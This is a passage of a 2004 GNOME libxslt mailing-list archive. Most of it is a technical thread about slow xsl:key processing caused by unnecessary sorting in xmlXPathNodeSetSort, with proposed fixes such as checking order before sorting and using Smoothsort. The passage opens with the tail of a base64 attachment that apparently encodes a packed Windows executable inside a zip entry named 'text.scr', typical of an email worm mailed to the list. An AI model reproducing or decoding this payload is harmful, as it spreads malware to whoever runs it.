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 AAAAncIAAHDCAAAAAAAAAAAAAAAAAACqwgAAeMIAAAAAAAAAAAAAAAAAALXCAACAwgAAAAAAAAAA AAAAAAAAwMIAAIjCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMrCAADYwgAA6MIAAAAAAAD2wgAAAAAA AATDAAAAAAAADMMAAAAAAABzAACAAAAAAEtFUk5FTDMyLkRMTABBRFZBUEkzMi5kbGwATVNWQ1JU LmRsbABVU0VSMzIuZGxsAFdTMl8zMi5kbGwAAExvYWRMaWJyYXJ5QQAAR2V0UHJvY0FkZHJlc3MA AEV4aXRQcm9jZXNzAAAAUmVnQ2xvc2VLZXkAAABtZW1zZXQAAHdzcHJpbnRmQQAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUEsBAhQA CgAAAAAAum5CMMonH54AWAAAAFgAAAgAAAAAAAAAAAAgAAAAAAAAAHRleHQuc2NyUEsFBgAAAAAB AAEANgAAACZYAAAAAA== ------=_NextPart_000_0011_EC296956.F1B5DA17-- From trengove@econdata.com.au Mon Feb 2 21:20:00 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from mail.econdata.com.au (unknown [203.108.133.26]) by mail.gnome.org (Postfix) with ESMTP id 0F8FC183DB for ; Mon, 2 Feb 2004 21:19:59 -0500 (EST) Received: from eowyn [203.108.133.29] by mail.econdata.com.au with ESMTP (SMTPD32-7.00) id A525150118; Tue, 03 Feb 2004 13:19:17 +1100 From: "Chris Trengove" To: xslt@gnome.org Date: Tue, 03 Feb 2004 13:19:49 +1100 MIME-Version: 1.0 Message-ID: <401F9FF5.12626.23D18F59@localhost> Priority: normal X-mailer: Pegasus Mail for Windows (v4.12a) Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Content-description: Mail message body Subject: [xslt] xsl:key degenerate performance Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: I have come across a performance issue with the implementation of xsl:key when dealing with a large number of nodes. To demonstrate this, if one processes documents like 0 1 2 using the processing time seems to grow exponentially/geometrically as the number of nodes grows. For 1000 nodes, the processing is virtually instantaneous, for 10000 nodes, it takes about 6 seconds, while for 100000 nodes processing time is in the order of 1 hour! (This is with libxslt-1.1.2.) I have been able to check what is happening in a profiler, and it turns that virtually all of this time is spent in the single call to xmlXPathNodeSetSort() which occurs as part of the compilation of the "match" expression, the idea being to put the resulting node set into document order. For example, for the 10000 node case, this sort operation takes all but about 0.1 second of the total processing time. This is particularly unfortunate in this case, since the nodes are already sorted, and the whole operation is unnecessary! The next question is what to do about this. Some possibilities might be: (a) Don't sort the result of the xsl:key "match" expression. From my reading of the XSLT standard, it does not suggest that the result returned by the key() function should be in document order (or any particular order). (b) Since implementing (a) might break some existing stylesheets which relied on the document order assumption, introduce some global setting to force sorting on or off. (c) Try and be a bit smarter in detecting when it is actually necessary to sort, since in almost all cases, the nodes will be in document order in any case. It would be really nice to fix this, since the other parts of the xsl:key, key() implementation appear to be really fast, and the only thing holding back the handling of larger documents is the unnecessary sort operation. Chris Trengove From wbrack@mmm.com.hk Mon Feb 2 22:29:07 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from delightful.com.hk (adsl-63-204-84-206.dsl.sktn01.pacbell.net [63.204.84.206]) by mail.gnome.org (Postfix) with ESMTP id 8254218445 for ; Mon, 2 Feb 2004 22:29:06 -0500 (EST) Received: from delightful.com.hk (localhost [127.0.0.1]) by delightful.com.hk (8.12.10/8.12.4) with SMTP id i133T58E014526; Mon, 2 Feb 2004 19:29:05 -0800 Received: from 68.185.74.32 (SquirrelMail authenticated user wbrack) by www.delightful.com.hk with HTTP; Tue, 3 Feb 2004 11:29:05 +0800 (HKT) Message-ID: <3050.68.185.74.32.1075778945.squirrel@www.delightful.com.hk> In-Reply-To: <401F9FF5.12626.23D18F59@localhost> References: <401F9FF5.12626.23D18F59@localhost> Date: Tue, 3 Feb 2004 11:29:05 +0800 (HKT) Subject: Re: [xslt] xsl:key degenerate performance From: "William M. Brack" To: xslt@gnome.org Cc: xslt@gnome.org User-Agent: SquirrelMail/1.4.2 MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Priority: 3 Importance: Normal Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: Chris Trengove said: > I have come across a performance issue with the implementation of > xsl:key when > dealing with a large number of nodes. To demonstrate this, if one > processes > documents like > > > 0 > 1 > 2 > > > > using > > > > the processing time seems to grow exponentially/geometrically as the > number of > nodes grows. For 1000 nodes, the processing is virtually > instantaneous, for 10000 > nodes, it takes about 6 seconds, while for 100000 nodes processing > time is in the > order of 1 hour! (This is with libxslt-1.1.2.) > > I have been able to check what is happening in a profiler, and it > turns that virtually > all of this time is spent in the single call to > xmlXPathNodeSetSort() which occurs as > part of the compilation of the "match" expression, the idea being to > put the resulting > node set into document order. For example, for the 10000 node case, > this sort > operation takes all but about 0.1 second of the total processing > time. This is > particularly unfortunate in this case, since the nodes are already > sorted, and the > whole operation is unnecessary! > > The next question is what to do about this. Some possibilities might > be: > > (a) Don't sort the result of the xsl:key "match" expression. From my > reading of the > XSLT standard, it does not suggest that the result returned by the > key() function > should be in document order (or any particular order). > > (b) Since implementing (a) might break some existing stylesheets > which relied on > the document order assumption, introduce some global setting to > force sorting on or > off. > > (c) Try and be a bit smarter in detecting when it is actually > necessary to sort, since > in almost all cases, the nodes will be in document order in any > case. > > It would be really nice to fix this, since the other parts of the > xsl:key, key() > implementation appear to be really fast, and the only thing holding > back the > handling of larger documents is the unnecessary sort operation. > > Chris Trengove Thanks for the information, and for the analysis. Could you please open a bug report (enhancement request) for this so it doesn't get overlooked? Thanks - Bill From gnome-xslt@m.gmane.org Tue Feb 3 04:30:54 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from main.gmane.org (main.gmane.org [80.91.224.249]) by mail.gnome.org (Postfix) with ESMTP id 7F42A1897C for ; Tue, 3 Feb 2004 04:30:53 -0500 (EST) Received: from root by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1AnwtO-00015m-00 for ; Tue, 03 Feb 2004 10:30:50 +0100 Received: from 203.108.133.29 ([203.108.133.29]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue Feb 3 09:30:50 2004 Received: from trengove by 203.108.133.29 with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue Feb 3 09:30:50 2004 X-Injected-Via-Gmane: http://gmane.org/ To: xslt@gnome.org From: "Chris Trengove" Date: Tue, 3 Feb 2004 16:17:34 +1100 Lines: 20 Message-ID: References: <401F9FF5.12626.23D18F59@localhost> <3050.68.185.74.32.1075778945.squirrel@www.delightful.com.hk> X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: 203.108.133.29 X-MSMail-Priority: Normal X-Newsreader: Microsoft Outlook Express 6.00.2800.1158 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 Subject: [xslt] Re: xsl:key degenerate performance Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org X-Reply-To: "Chris Trengove" List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: > Thanks for the information, and for the analysis. Could you please > open a bug report (enhancement request) for this so it doesn't get > overlooked? Thanks - > > Bill Yes, I will do that. Incidentally, I have tried out one possible solution, which is simply to test whether the nodes are sorted first, before attempting to sort them. In other words, you just compare each node with the next one in the list, and don't bother sorting if they are already in ascending order. In my test case (and in many other situations too, I imagine), this works especially quickly because the node comparison routine (xmlXPathCmpNodes) is optimised for sibling nodes (using the ->next and ->previous pointers). Anyway, the performance improvement is staggering! Chris From maparent@acm.org Tue Feb 3 10:25:29 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from smtp.istop.com (dci.doncaster.on.ca [66.11.168.194]) by mail.gnome.org (Postfix) with ESMTP id 17B851900C for ; Tue, 3 Feb 2004 10:25:29 -0500 (EST) Received: from [66.11.172.37] (maparent.ott.istop.com [66.11.172.37]) by smtp.istop.com (Postfix) with ESMTP id BD8F017C5A7 for ; Tue, 3 Feb 2004 10:21:47 -0500 (EST) Mime-Version: 1.0 (Apple Message framework v612) In-Reply-To: References: <401F9FF5.12626.23D18F59@localhost> <3050.68.185.74.32.1075778945.squirrel@www.delightful.com.hk> Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: Content-Transfer-Encoding: 7bit From: Marc-Antoine Parent Subject: Re: [xslt] Re: xsl:key degenerate performance Date: Tue, 3 Feb 2004 10:21:47 -0500 To: xslt@gnome.org X-Mailer: Apple Mail (2.612) Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: Hello! I just looked at the sort routine and found out it was a shell sort. Good enough for most cases; but on an already sorted list it indeed has a cost. How about exploiting some alternative, faster sorting algorithms? Heapsort or Mergesort are generally faster than shell sort; and their worst case is acceptable, unlike quicksort. A better option is an algorithm designed to be resilient to already-sorted lists, such as Smoothsort. http://en.wikipedia.org/wiki/Smoothsort If there is interest, I can propose an implementation. Marc-Antoine From gnome-xslt@m.gmane.org Tue Feb 3 17:08:32 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from main.gmane.org (main.gmane.org [80.91.224.249]) by mail.gnome.org (Postfix) with ESMTP id 542D8182F8 for ; Tue, 3 Feb 2004 17:08:32 -0500 (EST) Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1Ao8ic-0000Tb-00 for ; Tue, 03 Feb 2004 23:08:30 +0100 Received: from 203.108.133.29 ([203.108.133.29]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue Feb 3 22:08:30 2004 Received: from trengove by 203.108.133.29 with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue Feb 